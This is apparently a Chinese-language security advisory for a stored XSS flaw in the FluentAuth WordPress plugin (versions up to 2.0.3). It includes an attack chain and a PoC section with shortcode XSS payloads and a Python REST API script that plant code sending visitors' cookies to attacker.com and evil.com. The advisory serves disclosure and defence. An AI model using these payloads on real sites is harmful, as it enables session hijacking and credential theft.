CVE-2025-13728 CVSS 6.4 中危

CVE-2025-13728 WordPress FluentAuth插件存储型XSS漏洞

披露日期: 2025-12-15

来源: [email protected]

漏洞信息

漏洞编号

CVE-2025-13728

漏洞类型

存储型XSS (Stored Cross-Site Scripting)

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

FluentAuth WordPress插件

漏洞概述

FluentAuth是WordPress平台上一款终极授权和安全插件，为网站提供身份验证和访问控制功能。该插件在2.0.3及之前版本中存在严重的存储型跨站脚本(XSS)漏洞，漏洞位于插件的fluent_auth_reset_password短代码中。由于插件在处理用户提供的属性时缺乏足够的输入消毒和输出转义，攻击者可以通过在短代码属性中注入恶意JavaScript脚本实现持久化的XSS攻击。攻击者需要至少具备贡献者(Contributor)级别的权限即可利用此漏洞。注入的恶意脚本会在任何用户访问包含恶意代码的页面时自动执行，可能导致会话劫持、敏感信息窃取、管理员权限滥用等严重安全后果。此漏洞的CVSS评分为6.4，属于中等严重程度，但由于其存储型特性和低权限要求，仍需及时修补。

技术细节

该漏洞的根本原因在于FluentAuth插件的CustomAuthHandler.php文件中，对fluent_auth_reset_password短代码的用户输入属性缺少严格的输入验证和输出编码。攻击者可以利用贡献者及以上权限，在短代码属性中注入包含恶意JavaScript代码的payload。当其他用户访问包含该短代码的页面时，浏览器会执行注入的脚本代码。攻击者通常会利用此漏洞窃取用户会话Cookie、伪造表单提交或进行钓鱼攻击。由于WordPress的短代码机制会在页面加载时自动解析执行，恶意代码会持久化存在于数据库中，只要页面存在就会触发。攻击者可能通过编辑器角色或更高权限账户在文章、页面或自定义内容区域插入恶意短代码，等待受害者访问时触发。

攻击链分析

STEP 1

信息收集

攻击者识别目标网站使用的FluentAuth插件版本，确认版本≤2.0.3

STEP 2

权限获取

攻击者获取WordPress贡献者(Contributor)级别或更高权限的账户

STEP 3

恶意代码注入

通过文章编辑器或REST API在页面中插入包含XSS payload的fluent_auth_reset_password短代码

STEP 4

代码持久化

恶意内容保存到数据库，只要页面存在就会一直存在

STEP 5

受害者触发

普通用户或管理员访问包含恶意短代码的页面

STEP 6

脚本执行

浏览器解析页面时执行注入的JavaScript代码

STEP 7

攻击成功

攻击者通过脚本窃取Cookie、会话令牌或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- WordPress页面/文章中插入恶意短代码 -->
[fluent_auth_reset_password user_id='1" onmouseover="alert(document.cookie)" x="']

<!-- 绕过过滤的变体 -->
[fluent_auth_reset_password id='1'><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>']

<!-- WordPress REST API创建含恶意代码的文章 -->
import requests

wp_url = 'https://target.com/wp-json/wp/v2/posts'
auth = ('attacker_user', 'password')
headers = {'Content-Type': 'application/json'}
data = {
    'title': 'Malicious Page',
    'content': '[fluent_auth_reset_password id="1"><img src=x onerror=fetch("https://evil.com/log?cookie="+document.cookie)>]',
    'status': 'publish'
}
response = requests.post(wp_url, json=data, auth=auth, headers=headers)

影响范围

FluentAuth WordPress插件 ≤ 2.0.3

防御指南

临时缓解措施

如果无法立即升级，可临时禁用或删除包含fluent_auth_reset_password短代码的内容页面，同时审查所有用户创建的内容，移除可疑的短代码使用。建议加强WordPress用户权限管理，确保只有可信用户才能发布内容。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表